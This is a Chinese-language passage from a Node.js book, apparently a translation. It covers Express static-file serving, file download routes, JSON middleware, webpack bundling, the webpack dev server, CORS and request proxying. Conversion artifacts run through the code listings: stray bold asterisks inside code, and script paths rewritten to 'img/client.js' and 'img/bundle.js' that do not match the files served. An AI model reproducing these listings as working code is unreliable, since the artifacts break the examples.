对于 Web 服务器来说,最重要的任务之一是响应对文件的请求,这些请求为客户端应用程序的客户端部分提供所需的 HTML、JavaScript 和其他静态内容。

Node.js 在 fs 模块中提供了一个全面的 API 来处理文件,并且它支持读取和写入流,还包括一些便利的功能,例如 readFileSync 函数,我使用它来读取 HTML 文件的內容。

我没有详细描述 API 的原因是因为在 Web 服务器项目中直接处理文件非常危险,应尽可能避免。存在很大的风险创建恶意请求,其路径试图访问预期位置之外的文件。通过个人经验,我了解到在任何情况下都不应让客户端在服务器上创建或修改文件。

我参与过许多项目,在这些项目中,恶意请求能够覆盖系统文件,或者通过写入大量数据来简单地压倒服务器,导致存储空间耗尽。

处理文件的最佳方式是使用经过良好测试的包,而不是编写自定义代码,这就是为什么我没有描述fs模块的功能。

注意

如果你决定忽略我的警告,你可以在nodejs.org/dist/latest-v20.x/docs/api/fs.html找到fs模块及其提供的详细功能的说明。

Express 包集成了对文件请求的支持。为了准备,将名为client.js的文件添加到static文件夹中,其内容如列表 6.20所示。

列表 6.20:静态文件夹中 client.js 文件的内容

document.addEventListener('DOMContentLoaded', function() {
    document.getElementById("btn").addEventListener("click", sendReq);
});
sendReq = async () => {
    let payload = [];
    for (let i = 0; i < 5; i++) {
        payload.push({ id: i, message: `Payload Message: ${i}\n`});
    }
    const response = await fetch("/read", {
        method: "POST", body: JSON.stringify(payload),
        headers: {
            "Content-Type": "application/json"
        }
    })
    document.getElementById("msg").textContent = response.statusText;
    document.getElementById("body").textContent = await response.text();
} 

这与早期示例中使用的相同 JavaScript 代码,但被放入了单独的文件中,这是向客户端分发 JavaScript 的典型方式。列表 6.21更新了 HTML 文件,以链接到新的 JavaScript 文件,并且还包括了在本章开头添加到项目中的图像文件。

列表 6.21:在静态文件夹中的 index.html 文件中更改内容

<!DOCTYPE html>
<html>
    <head>
       ** <script src="img/client.js"></script>**
    </head>
    <body>
       **<img src="img/city.png"**
 **style="width: 100%; display: block; margin-bottom: 2px;">**
       <button id="btn">Send Request</button>
       <div id="msg"></div>
       <div id="body"></div>
    </body>
</html> 

准备好内容后,下一步是配置 Express 以提供文件服务。Express 自带对中间件组件的支持,这意味着可以检查和拦截服务器接收到的所有 HTTP 请求的处理程序。中间件组件通过use方法设置,列表 6.22设置了 Express 提供的用于提供文件的中间件组件。

列表 6.22:在 src 文件夹中的 server.ts 文件中添加对静态文件的支持

import { createServer } from "http";
import express, {Express } from "express";
**//import { basicHandler } from "./handler";**
import { readHandler } from "./readHandler";
const port = 5000;
const expressApp: Express = express();
**// expressApp.get("/favicon.ico", (req, resp) => {**
**//     resp.statusCode = 404;**
**//     resp.end();**
**// });**
**//expressApp.get("*", basicHandler);**
expressApp.post("/read", readHandler);
**expressApp.use(express.static("static"));**
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

express对象,它是express模块的默认导出,定义了一个名为static的方法,该方法创建用于提供静态文件的中间件组件。static方法的参数是包含文件的目录,也命名为static。结果是可以通过Express.use方法注册的请求处理程序。

中间件组件将尝试将请求 URL 与static目录中的文件匹配。包含文件的目录名称从 URL 中省略,因此对http://localhost:5000/client.js的请求将由返回static文件夹中client.js文件的內容来处理。

static方法可以接受一个配置对象,但默认值选择得很好,适用于大多数项目,包括将index.html作为请求的默认值。

提示

如果你需要更改设置,你可以在expressjs.com/en/4x/api.html#express.static查看选项。

中间件组件设置响应头以帮助客户端处理使用的文件内容。这包括设置 Content-Length 头以指定文件包含的数据量,以及 Content-Type 头以指定数据类型。

注意,我可以从示例中移除一些现有的处理器。favicon.ico 请求的处理器不再需要,因为新的中间件将在请求不存在文件时自动生成“未找到”的响应。通配符路由也不再需要,因为 static 中间件会对请求响应以 index.html 文件的内容。使用浏览器请求 http://localhost:5000,你将看到 图 6.9 中显示的响应,它还显示了浏览器接收到的数据类型。

图片 B21959_06_09.png

图 6.9: 使用 Express 静态中间件

从客户端包提供文件

静态文件的一个来源是添加到 Node.js 项目中,但其文件旨在由浏览器(或其他 HTTP 客户端)消费的包。一个很好的例子是 Bootstrap CSS 包,它包含用于为浏览器显示的 HTML 内容添加样式的 CSS 样式表和 JavaScript 文件。

如果你正在使用 Angular 或 React 等客户端框架,这些 CSS 和 JavaScript 文件将在项目构建过程中作为单个压缩文件合并。

对于不使用这些框架的项目,使文件可用的最简单方法是设置静态文件中间件的额外实例。为了准备,请在 webapp 文件夹中运行 列表 6.23 中显示的命令,将 Bootstrap 包添加到示例项目中。

列表 6.23: 将包添加到示例项目

npm install bootstrap@5.3.2 

列表 6.24 配置 Express 从包目录中提供文件。

列表 6.24. 在 src 文件夹的 server.ts 文件中添加中间件

import { createServer } from "http";
import express, {Express } from "express";
import { readHandler } from "./readHandler";
const port = 5000;
const expressApp: Express = express();
expressApp.post("/read", readHandler);
expressApp.use(express.static("static"));
**expressApp.use(express.static("node_modules/bootstrap/dist"));**
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

需要了解你正在使用的包的一些知识。在 Bootstrap 包的情况下,我知道客户端使用的文件位于 dist 文件夹中,因此这是我在设置中间件客户端时指定的文件夹。最后一步是添加对 Bootstrap 样式表的引用并应用其包含的样式,如 列表 6.25 所示。

列表 6.25. 在 static 文件夹的 index.html 文件中添加样式表引用

<!DOCTYPE html>
<html>
    <head>
        <script src="img/client.js"></script>
       ** <****link href="css/bootstrap.min.css" rel="stylesheet" />**
    </head>
    <body>
       <img src="img/city.png"
           style="width: 100%; display: block; margin-bottom: 2px;">
       **<button id="btn" class="****btn btn-primary my-2">Send Request</button>**
       <div id="msg"></div>
       <div id="body"></div>
    </body>
</html> 

bootstrap.min.css 文件包含我想要使用的样式,这些样式通过向类中添加 button 元素来应用。使用浏览器请求 http://localhost:5000,你将看到样式的效果,如 图 6.10 所示。

注意

有关 Bootstrap 包提供的功能详情,请参阅 getbootstrap.com,其中一些我在后面的章节中使用。如果您无法使用 Bootstrap,还有其他 CSS 包可用。一个流行的替代方案是 Tailwind (tailwindcss.com),但快速网络搜索将向您展示一个长长的可供考虑的替代方案列表。

图 6.10:使用第三方包的静态内容

发送和下载文件

Response 类,通过它 Express 提供了 ServerResponse 的增强功能,定义了 表 6.9 中描述的方法来直接处理文件。

表 6.9:文件有用的响应方法

名称 描述
sendFile(path, config) 此方法发送指定文件的內容。响应 Content-Type 头基于文件扩展名设置。
download(path) 此方法发送指定文件的內容,使得大多数浏览器会提示用户保存文件。

sendFiledownload 方法很有用,因为它们提供了使用 static 中间件无法解决的问题的解决方案。列表 6.26 创建了使用这些方法的简单路由。

列表 6.26:在 src 文件夹的 server.ts 文件中添加路由

import { createServer } from "http";
**import** **express, {Express, Request, Response } from "express";**
import { readHandler } from "./readHandler";
const port = 5000;
const expressApp: Express = express();
expressApp.post("/read", readHandler);
**expressApp.get("/sendcity", (req, resp****) => {**
 **resp.sendFile("city.png", { root: "static"});**
**});**
**expressApp.get("/downloadcity", (req: Request, resp: Response) => {**
 **resp.****download("static/city.png");**
**});**
expressApp.get("/json", (req: Request, resp: Response) => {
    resp.json("{name: Bob}");
});

expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

当您需要以文件内容作为响应,但请求路径不包含文件名时,sendFile 方法很有用。参数是文件名和一个配置对象,其 root 属性指定包含文件的目录。

download 方法设置 Content-Disposition 响应头,导致大多数浏览器将文件内容视为应保存的下载。使用浏览器请求 http://localhost:5000/sendcityhttp://localhost:5000/downloadcity。第一个 URL 将导致浏览器在浏览器窗口中显示图片。第二个 URL 将提示用户保存文件。这两个响应都显示在 图 6.11 中。

图 6.11:使用文件响应增强功能

自动解码和编码 JSON

Express 包包括一个自动解码 JSON 响应体的中间件组件,执行与本章前面创建的流转换器相同的任务。列表 6.27 通过调用 express 模块的默认导出上定义的 json 方法来启用此中间件。

列表 6.27:在 src 文件夹的 server.ts 文件中启用 JSON 中间件

import { createServer } from "http";
import express, {Express, Request, Response } from "express";
import { readHandler } from "./readHandler";
const port = 5000;
const expressApp: Express = express();
**expressApp.use(express.json());**
expressApp.post("/read", readHandler);
expressApp.get("/sendcity", (req, resp) => {
    resp.sendFile("city.png", { root: "static"});
});
expressApp.get("/downloadcity", (req: Request, resp: Response) => {
    resp.download("static/city.png");
});
expressApp.get("/json", (req: Request, resp: Response) => {
    resp.json("{name: Bob}");
});

expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

中间件组件必须在读取响应体的路由之前注册,这样 JSON 请求在匹配到处理器之前就会被解析。

注意

json 方法可以接受一个配置对象,该对象可以改变 JSON 解析的方式。默认值适用于大多数项目,但请参阅 expressjs.com/en/4x/api.html#express.json 了解可用选项的详细信息。

通过 Express 提供对 IncomingRequest 类增强的 Request 类定义了一个 body 属性,该属性被分配给 JSON 中间件创建的对象。

提供对 ServerResponse 增强的 Response 主体定义了一个 json 方法,该方法接受一个序列化为 JSON 的对象,并将其用作响应主体。

列表 6.28 更新了处理程序以使用 Request 类,禁用了自定义转换器,并向客户端发送 JSON 响应。

列表 6.28:在src文件夹中的readHandler.ts文件中使用 JSON 对象

import { IncomingMessage, ServerResponse } from "http";
**//import { Transform } from "stream";**
**import { Request, Response } from "express";**
export const readHandler = async (req: Request, resp: Response) => {   
    **if (req.headers["content-type"] == "application/json") {**
 **const payload = req.body;**
 **if (payload instanceof Array) {**
**//resp.write(`Received an array with ${payload.length} items`)**
 **resp.json({arraySize: payload.length});**
 **}  else {**
 **resp.write("Did not receive an array");**
        }
        resp.end();
    } else {
        req.pipe(resp);
    }
}
**// const createFromJsonTransform = () => new Transform({**
**//     readableObjectMode: true,**
**//     transform(data, encoding, callback) {**
**//         callback(null, JSON.parse(data));**
**//     }**
**// });** 

使用网络浏览器请求 http://localhost:5000,然后点击 发送请求 按钮。响应将确认 JSON 请求主体被解析为 JavaScript 数组,并且响应也以 JSON 的形式发送,如图 6.12 所示。

图片

图 6.12:使用 Express JSON 中间件

摘要

在本章中,我描述了 Node.js 提供的 API 功能,用于读取和写入数据,尤其是在处理 HTTP 请求时:

  • 流被用作数据源和目的地的抽象表示,包括 HTTP 请求和响应。

  • 当数据写入流时,数据会被缓冲,但避免过度缓冲是一个好主意,因为它可能会耗尽系统资源。

  • 数据可以通过处理事件或使用for循环从流中读取。

  • 数据可以从可读流管道传输到可写流。

  • 数据在管道传输过程中可以被转换,并且可以是在 JavaScript 对象和字符串/字节数组之间。

  • Node.js 提供了一个 API 来处理文件,但第三方包是在网络服务器项目中处理文件的最安全方式。

  • 第三方包,如 Express,提供了对 Node.js 流的增强,以执行常见任务,例如解码 JSON 数据。

在下一章中,我将描述 Node.js 与其他组件一起工作的两个方面,以交付应用程序。

第七章:使用打包和内容安全

现代网络开发需要三个关键组件:后端服务器、客户端应用程序和浏览器。前面的章节已经展示了如何使用 Node.js API 及其附加包来接收和处理 HTTP 请求。现在,我们需要探讨应用程序的服务器端部分如何与其他组件协同工作。

本章涵盖了两个塑造应用程序各部分如何组合在一起的话题。第一个话题是使用打包器。应用程序的客户端部分通常由大量文件组成,这些文件被收集在一起并压缩成少量文件以提高效率。这是通过打包器完成的,并且大多数广泛使用的客户端框架,如 Angular 和 React,都提供了使用名为 webpack 的打包器的开发者工具。在本章的第一部分,我解释了 webpack 的工作原理,并描述了它如何与后端服务器集成。表 7.1将打包器置于上下文中。

表 7.1:将打包器置于上下文中

问题 答案
它们是什么? 打包器将应用程序客户端部分所需的文件组合并压缩成少量文件。
为什么它们有用? 打包器减少了浏览器需要发出的 HTTP 请求次数以获取客户端文件,并减少了需要传输的总数据量。
如何使用它们? 打包器可以独立使用或集成到服务器端构建工具中。
有没有陷阱或限制? 打包器通常集成到更复杂的客户端开发工具中,并且不能总是直接配置,这可能会限制与后端服务器集成的选项。
有没有替代方案? 打包器不是必需的,但通常是由客户端框架的构建工具选择驱动的采用。

本章的第二个话题是使用内容安全策略CSP)。浏览器是网络应用程序的积极参与者,CSP 允许浏览器阻止客户端 JavaScript 代码执行意外的操作。内容安全策略是防止跨站脚本攻击XSS)的重要防御手段,在这种攻击中,攻击者会篡改应用程序以执行 JavaScript 代码。

在本章中,我故意在示例应用程序中创建了一个 XSS 漏洞,演示了如何利用它,然后使用内容安全浏览器为浏览器提供所需信息,以阻止应用程序被滥用。表 7.2将内容安全策略置于上下文中。

表 7.2:将内容安全策略置于上下文中

问题 答案
它们是什么? 内容安全策略描述了客户端代码对浏览器的预期行为。
为什么它们有用? 浏览器阻止 JavaScript 代码执行与内容安全策略定义不符的操作。
它们是如何使用的? 后端服务器在 HTTP 响应中包含一个 Content-Security-Policy 头部。该头部指定了描述客户端代码预期行为的指令。
有没有陷阱或限制? 它可能需要仔细测试才能定义一个允许客户端代码正常工作而不创建 XSS 攻击机会的内容安全策略。因此,内容安全策略必须与其他措施一起使用,例如输入清理,如本书 第二部分 中所述。
有没有替代方案? 内容安全策略是可选的,但提供了防止应用程序客户端部分被篡改的重要防御措施,应在可能的情况下使用。

表 7.3 总结了本章内容。

表 7.3:本章摘要

问题 解决方案 列表
将客户端文件合并以最小化 HTTP 请求 使用如 webpack 这样的 JavaScript 捆绑器。 6-10
当创建新捆绑时自动重新加载浏览器 使用 webpack 开发 HTTP 服务器。 11-14
从捆绑的客户端代码接收后端服务器请求 在后端服务器上使用单独的 URL 并启用 CORS,或者在两个服务器之间代理请求。 15-22
防御跨站脚本攻击 定义并应用内容安全策略。 23-33
简化定义内容安全策略的过程 使用如 Helmet 这样的 JavaScript 包。 34-36

准备本章

在本章中,我将继续使用 第六章 中的 webapp 项目。为了准备本章,将 readHandler.ts 文件的内容替换为 列表 7.1 中显示的代码。

提示

您可以从 github.com/PacktPublishing/Mastering-Node.js-Web-Development 下载本章的示例项目——以及本书中所有其他章节的示例项目。有关运行示例时遇到问题的帮助,请参阅 第一章

列表 7.1:src 文件夹中 readHandler.ts 文件的内容

import { Request, Response } from "express";
export const readHandler = (req: Request, resp: Response) => {   
    resp.json({
        message: "Hello, World"
    });
} 

此处理器对所有消息的响应都包含一个包含 JSON 格式对象的响应。将 src 文件夹中 server.ts 文件的内容替换为 列表 7.2 中显示的代码。

列表 7.2:src 文件夹中 server.ts 文件的内容

import { createServer } from "http";
import express, {Express } from "express";
import { readHandler } from "./readHandler";
const port = 5000;
const expressApp: Express = express();
expressApp.use(express.json());
expressApp.post("/read", readHandler);
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

此代码移除了之前示例中使用的某些处理器,并使用 Express 来提供静态内容,并将 /read 路径的 POST 请求匹配到 列表 7.1 中定义的处理程序。

接下来,将 static 文件夹中 index.html 文件的内容替换为 列表 7.3 中显示的元素,这将移除上一章中使用的图像,并将 Bootstrap CSS 包提供的样式应用到显示服务器响应的表格上。

列表 7.3:静态文件夹中 index.html 文件的内容

<!DOCTYPE html>
<html>
    <head>
        <script src="img/client.js"></script>
        <link href="css/bootstrap.min.css" rel="stylesheet" />
    </head>
    <body>
       <button id="btn" class="btn btn-primary m-2">Send Request</button>
       <table class="table table-striped">
            <tbody>
                <tr><th>Status</th><td id="msg"></td></tr>
                <tr><th>Response</th><td id="body"></td></tr>
            </tbody>
       </table>
    </body>
</html> 

webapp 文件夹中运行 列表 7.4 中显示的命令以启动编译 TypeScript 文件并执行生成的 JavaScript 的监视器。

列表 7.4:启动项目

npm start 

打开一个网络浏览器并请求 http://localhost:5000。点击 发送请求 按钮,你将看到 图 7.1 中显示的结果。

图 7.1:运行示例项目

打包客户端文件

Web 应用的客户端通常由浏览器执行,应用程序以 HTML 文件的形式交付,该文件反过来告诉浏览器请求 JavaScript 文件、CSS 样式表以及任何其他所需资源。

可能会有许多 JavaScript 和 CSS 文件,这意味着浏览器需要为许多文件发出 HTTP 请求。这些文件往往很冗长,因为它们被格式化为供开发团队阅读和维护,其中包含空格和注释,这些注释对于运行应用程序不是必需的。

许多项目使用打包器,它处理客户端资源以减小它们的大小并将它们合并成更少的文件。最受欢迎的打包器是 webpack (webpack.js.org),它可以单独使用,也可以作为 React 和 Angular 等框架的标准开发者工具的一部分。与其他 JavaScript 功能领域一样,还有其他打包器可用,但鉴于其流行度和持久性,webpack 是一个很好的起点。

打包器可以通过将客户端对资源的请求集中到更少的请求和更小的文件中,帮助项目的服务器端。然而,打包器通常需要与项目集成,以便客户端和服务器端开发可以轻松结合。

在接下来的章节中,我将描述不同的使用打包器的方式,并解释它们对服务器端开发的影响。在 webapp 文件夹中运行 列表 7.5 中显示的命令来安装 webpack 包。此命令还安装了 npm-run-all 包,它允许同时运行多个 NPM 脚本。

列表 7.5:安装打包器包

npm install --save-dev webpack@5.89.0
npm install --save-dev webpack-cli@5.1.4
npm install --save-dev npm-run-all@4.1.5 

创建独立包

使用打包器的最简单方法是将它作为一个独立的工具。要配置 webpack,将一个名为 webpack.config.mjs 的文件添加到 webapp 文件夹中,其内容如 列表 7.6 所示。webpack 使用 JavaScript 而不是 JSON 配置文件,mjs 文件扩展名指定了一个 JavaScript 模块,这允许使用本书中使用的相同 import 语法。

列表 7.6:webapp 文件夹中 webpack.config.mjs 文件的内容

import path from "path";
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
export default  {
    mode: "development",
    entry: "./static/client.js",
    output: {
        path: path.resolve(__dirname, "dist/client"),
        filename: "bundle.js"
    }
}; 

此基本配置文件告诉webpack处理static文件夹中的client.js文件,并将创建的打包写入dist/client文件夹中名为bundle.js的文件。示例项目中客户端 JavaScript 代码不足以让 webpack 有太多工作可做,但在实际项目中,webpack 将遵循起始 JavaScript 文件中做出的所有导入,并将应用程序所需的所有代码合并到打包中。列表 7.7更新了index.html文件,使其使用 webpack 将创建的bundle.js文件。

列表 7.7:在静态文件夹中的 index.html 文件中使用 bundle 文件

<!DOCTYPE html>
<html>
    <head>
        **<script src="img/bundle.js"></script>**
        <link href="css/bootstrap.min.css" rel="stylesheet" />
    </head>
    <body>
       <button id="btn" class="btn btn-primary m-2">Send Request</button>
       <table class="table table-striped">
            <tbody>
                <tr><th>Status</th><td id="msg"></td></tr>
                <tr><th>Response</th><td id="body"></td></tr>
            </tbody>
       </table>
    </body>
</html> 

为了允许客户端请求bundle.js文件,列表 7.8使用 Express 静态文件中间件为文件请求添加了一个新位置。

列表 7.8:在 src 文件夹中的 server.ts 文件中添加文件位置

...
expressApp.post("/read", readHandler);
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
**expressApp.use(express.static("****dist/client"));**
... 

最后一步是更新package.json文件中的scripts部分,以便 webpack 在服务器端 JavaScript 文件现有的构建过程旁边以监视模式运行,如列表 7.9所示。

列表 7.9:更新 webapp 文件夹中的 package.json 文件中的脚本

...
"scripts": {
 **"server": "tsc-watch --onsuccess \"node dist/server.js\"",**
 **"client"****: "webpack --watch",**
 **"start": "npm-run-all --parallel server client"**
},
... 

新的start命令使用npm-run-all包来启动clientserver命令,这些命令并行运行 webpack 客户端打包器和服务器端 TypeScript 编译器。将 webpack 置于监视模式意味着当客户端 JavaScript 文件被修改时,打包将自动更新。

停止现有的 Node.js 服务器,并在webapp文件夹中运行npm start命令。列表 7.10对客户端代码进行小修改,以演示 webpack 更改检测。

列表 7.10:在静态文件夹中的 client.js 文件中进行小修改

document.addEventListener('DOMContentLoaded', function() {
    document.getElementById("btn").addEventListener("click", sendReq);
});
sendReq = async () => {
    let payload = [];
    for (let i = 0; i < 5; i++) {
        payload.push({ id: i, message: `Payload Message: ${i}\n`});
    }
    const response = await fetch("/read", {
        method: "POST", body: JSON.stringify(payload),
        headers: {
            "Content-Type": "application/json"
        }
    })
    document.getElementById("msg").textContent = response.statusText;
  **document.getElementById("body").textContent**
 **= `Resp: ${await response.text()}`;**
} 

client.js文件被保存时,webpack 将检测到更改,将创建一个新的打包文件,产生如下控制台消息:

assets by status 1.86 KiB [cached] 1 asset
./static/client.js 631 bytes [built]
webpack 5.89.0 compiled successfully in 13 ms 

重新加载浏览器 - 或者打开一个新的浏览器并请求http://localhost:5000 - 然后点击发送请求按钮,你将在响应显示时看到更改的效果,如图 7.2所示。

图 7.2:使用客户端打包器

使用 webpack 开发服务器

webpack 提供了一个 HTTP 服务器,它简化了客户端开发过程,这被广泛用作 Angular、React 和其他流行框架的流行开发包的基础。如果你的项目客户端部分依赖于这些框架之一,那么你很可能会发现自己在使用 webpack 开发服务器。

webpack 开发服务器可以与传统的服务器端功能一起用于客户端开发,尽管需要一些集成。在webapp文件夹中运行列表 7.11中显示的命令来安装 webpack 开发 HTTP 服务器。

列表 7.11:添加开发服务器包

npm install --save-dev webpack-dev-server@4.15.1 

webpack 开发 web 服务器有许多配置选项,这些选项在 webpack.js.org/configuration/dev-server 上有详细描述,但默认设置选择得很好,适用于大多数项目。列表 7.12 为开发服务器添加了 webpack 配置文件中的一个部分。

列表 7.12:在 webapp 文件夹中的 webpack.config.mjs 文件中添加一个部分

import path from "path";
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
export default  {
    mode: "development",
    entry: "./static/client.js",
    output: {
        path: path.resolve(__dirname, "dist/client"),
        filename: "bundle.js"
 **},**
 **"devServer": {**
 **port: 5100,**
 **static: ["./static", "node_modules/bootstrap/dist"]**
 **}**
}; 

devServer 配置部分包含 HTTP 服务器的设置。webpack 服务器监听由 port 设置指定的端口上的 HTTP 请求,并使用由 static 设置指定的目录中的文件进行响应。关键区别在于发送到浏览器的 JavaScript 包包含额外的代码,该代码打开一个持久性的 HTTP 连接到开发服务器并等待信号。当 webpack 检测到它正在监视的文件之一已更改时,它会构建一个新的包并将它等待的信号发送给浏览器,该信号动态加载更改的内容。这被称为 实时重新加载

提示

有一个更高级的选项可用,称为 热模块替换,它将尝试更新单个 JavaScript 模块,而不会影响其他代码或强制浏览器重新加载。有关详细信息,请参阅 webpack.js.org/guides/hot-module-replacement

列表 7.13 将脚本更改为使用 webpack 开发 HTTP 服务器而不是监视模式。(向 tsc-watch 命令添加 noClear 参数可以防止在服务器端代码编译时丢失 webpack 开发服务器的输出)。

列表 7.13:更新 webapp 文件夹中 package.json 文件中的 webpack 脚本

...
"scripts": {
   ** "server": "tsc-watch --noClear --onsuccess \"node dist/server.js\"",**
 **"client": "webpack serve",**
    "start": "npm-run-all --parallel server client"
},
... 

停止上一节中的 node 进程,并在 webapp 文件夹中运行 npm start,以便新配置生效。

你可以通过使用浏览器请求 http://localhost:5100(注意新的端口号)并使用你的代码编辑器更改 index.html 文件,如图 列表 7.14 所示,来查看 webpack 开发服务器的影响。

列表 7.14:更改 static 文件夹中 index.html 文件中的一个元素

<!DOCTYPE html>
<html>
    <head>
        <script src="img/bundle.js"></script>
        <link href="css/bootstrap.min.css" rel="stylesheet" />
    </head>
    <body>
       **<button id="****btn" class="btn btn-primary m-2">Send Message</button>**
       <table class="table table-striped">
            <tbody>
                <tr><th>Status</th><td id="msg"></td></tr>
                <tr><th>Response</th><td id="body"></td></tr>
            </tbody>
       </table>
    </body>
</html> 

此文件不是包的一部分,但 webpack 会监视其配置文件中 static 位置的文件,并在它们更改时触发更新。当你保存文件时,浏览器将自动重新加载,按钮上的新文本将显示出来,如图 图 7.3 所示。

图 7.3:webpack 开发服务器的自动更新

仅为了服务客户端代码而引入服务器会导致问题,因为 webpack 服务器没有方法来响应它捆绑的客户端 JavaScript 代码发出的 HTTP 请求。您可以通过点击发送消息按钮来看到这个问题。请求将失败,webpack 服务器生成的响应详情将显示,如图 7.4所示。

图 7.4:发送 HTTP 请求

在接下来的章节中,我描述了三种不同的解决这个问题的方法。并非所有方法都适用于每个项目,因为客户端框架并不总是允许更改底层 webpack 配置,或者它们为请求处理引入了特定的要求。但所有框架都可以至少使用这些方法中的一种,并且值得尝试找到一种既有效又适合您开发风格的方法。

使用不同的请求 URL

最简单的方法是更改客户端 JavaScript 代码发送请求的 URL,如列表 7.15所示。当你无法修改 webpack 配置文件时,这是一个有用的方法,通常是因为它隐藏在框架特定的构建工具深处。

列表 7.15:在静态文件夹中的 client.js 文件中更改 URL

document.addEventListener('DOMContentLoaded', function() {
    document.getElementById("btn").addEventListener("click", sendReq);
});
**const requestUrl = "http://localhost:5000/read";**
sendReq = async () => {
    let payload = [];
    for (let i = 0; i < 5; i++) {
        payload.push({ id: i, message: `Payload Message: ${i}\n`});
    }
 **   const response = await fetch(requestUrl, {**
        method: "POST", body: JSON.stringify(payload),
        headers: {
            "Content-Type": "application/json"
        }
    })
    document.getElementById("msg").textContent = response.statusText;
    document.getElementById("body").textContent
        = `Resp: ${await response.text()}`;
} 

这种方法简单有效,但确实需要修改应用程序的服务器端部分。浏览器允许 JavaScript 代码仅在相同的内进行 HTTP 请求,这意味着与加载 JavaScript 代码的 URL 具有相同方案、主机和端口的 URL。列表 7.15中的更改意味着 HTTP 请求是到允许源之外的 URL,因此浏览器阻止了请求。解决这个问题的方法是使用跨源资源共享CORS),在这种情况下,浏览器向目标 HTTP 服务器发送一个额外的请求,以确定它是否愿意接受来自 JavaScript 代码源的 HTTP 请求。

保存列表 7.15中的更改,打开浏览器 F12 开发者工具,并在浏览器窗口中点击发送消息按钮。忽略主浏览器窗口中显示的消息,并使用 F12 工具的网络选项卡查看浏览器已发出的请求。您将看到一个使用 HTTP OPTIONS方法的请求,这被称为预检请求,如图 7.5所示,它允许后端服务器表明它是否将接受请求。

图 7.5:预检请求

后端服务器的响应没有包含Access-Control-Allow-Origin头,这将表明允许跨源请求,因此浏览器阻止了 POST 请求。

CORS 的详细信息请参阅 developer.mozilla.org/en-US/docs/Web/HTTP/CORS,您可以使用 第五章 中描述的 Node.js API 来设置允许客户端请求所需的头部信息。一种更简单的方法是使用许多可用的 JavaScript 包来管理 CORS。在 webapp 文件夹中运行 列表 7.16 中显示的命令来安装用于 Express 的 CORS 包以及描述 TypeScript 编译器提供的 API 的包。

列表 7.16:安装 CORS 包和类型描述

npm install cors@2.8.5
npm install --save-dev @types/cors@2.8.16 

列表 7.17 配置 Express 使用新包来允许跨源请求。

列表 7.17:在 src 文件夹中的 server.Ts 文件中允许跨源请求

import { createServer } from "http";
import express, {Express } from "express";
import { readHandler } from "./readHandler";
**import cors from "cors";**
const port = 5000;
const expressApp: Express = express();
**expressApp.use(cors({**
 **origin: "http://localhost:5100"**
**}));**
expressApp.use(express.json());
expressApp.post("/read", readHandler);
expressApp.use(express.static("static"));
expressApp.use(express.static("node_modules/bootstrap/dist"));
expressApp.use(express.static("dist/client"));
const server = createServer(expressApp);
server.listen(port,
    () => console.log(`HTTP Server listening on port ${port}`)); 

CORS 包包含一个用于 Express 的中间件包,该包通过 use 方法应用。完整的 CORS 配置选项可以在 github.com/expressjs/cors 找到,列表 7.17 使用 origin 配置设置指定允许从 http://localhost:5100 发送请求,这将允许从 webpack 开发服务器加载的 JavaScript 代码发送请求。

关闭浏览器窗口中显示的错误消息(您可以点击交叉图标或重新加载浏览器),然后再次点击“发送消息”按钮。这次,后端服务器将使用浏览器期望的头部信息响应 OPTIONS 请求,并允许 HTTP POST 请求。F12 工具将显示成功请求的详细信息,如图 图 7.6 所示。

图 7.6:使用 CORS 允许跨源请求

从 webpack 转发请求到后端服务器

一个更复杂的解决方案是配置 webpack 开发服务器,使其将请求转发到后端服务器。请求转发对浏览器来说是不明显的,这意味着所有请求都发送到相同的源,因此不需要 CORS。列表 7.18 更新了 webpack 配置文件以添加对请求转发的支持。

列表 7.18:在 webapp 文件夹中的 webpack.config.mjs 文件中添加设置

import path from "path";
import { fileURLToPath } from 'url';
const __dirname = path.dirname(fileURLToPath(import.meta.url));
export default  {
    mode: "development",
    entry: "./static/client.js",
    output: {
        path: path.resolve(__dirname, "dist/client"),
        filename: "bundle.js"
    },
    "devServer": {
        port: 5100,
        static: ["./static", "node_modules/bootstrap/dist"],
        **proxy: {**
 **"/read": "http://localhost:5000"**
 **}**
    }
}; 

使用 proxy 设置来指定一个或多个路径以及它们应转发到的 URL。列表 7.19 更新客户端 JavaScript 代码,以便请求相对于 JavaScript 文件的源发送。

列表 7.19:在 static 文件夹中的 client.js 文件中使用相对 URL

document.addEventListener('DOMContentLoaded', function() {
    document.getElementById("btn").addEventListener("click", sendReq);
});
**const requestUrl = "/read";**
sendReq = async () => {
    let payload = [];
    for (let i = 0; i < 5; i++) {
        payload.push({ id: i, message: `Payload Message: ${i}\n`});
    }
    const response = await fetch(requestUrl, {
        method: "POST", body: JSON.stringify(payload),
        headers: {
            "Content-Type": "application/json"
        }
    })
    document.getElementById("msg").textContent = response.statusText;
    document.getElementById("body").textContent
        = `Resp: ${await response.text()}`;
} 

webpack 不会自动检测其配置文件的更改。使用 Control+C 停止现有进程,然后在 webapp 文件夹中运行 npm start 命令再次启动 webpack 和后端服务器。使用浏览器请求 http://localhost:5100(webpack 服务器的 URL),然后点击 发送消息 按钮。webpack 服务器将接收请求并作为代理从后端服务器获取响应,生成如图 图 7.7 所示的响应。

图 7.7:使用 webpack 作为后端服务器的代理

提示

在幕后,webpack HTTP 服务器使用 Express,核心开发服务器功能包含在 webpack-dev-middleware 包中,该包可以用作任何也使用 Express 的项目的中间件。我没有演示此功能,因为它需要额外的包和广泛的配置更改来重新创建像实时重新加载这样的功能,而这些功能在使用标准的 webpack 开发服务器包时已经设置好了。

有关将 webpack 作为 Express 中间件使用的详细信息,请参阅 webpack.js.org/guides/development/#using-webpack-dev-middleware

将请求从后端服务器转发到 webpack

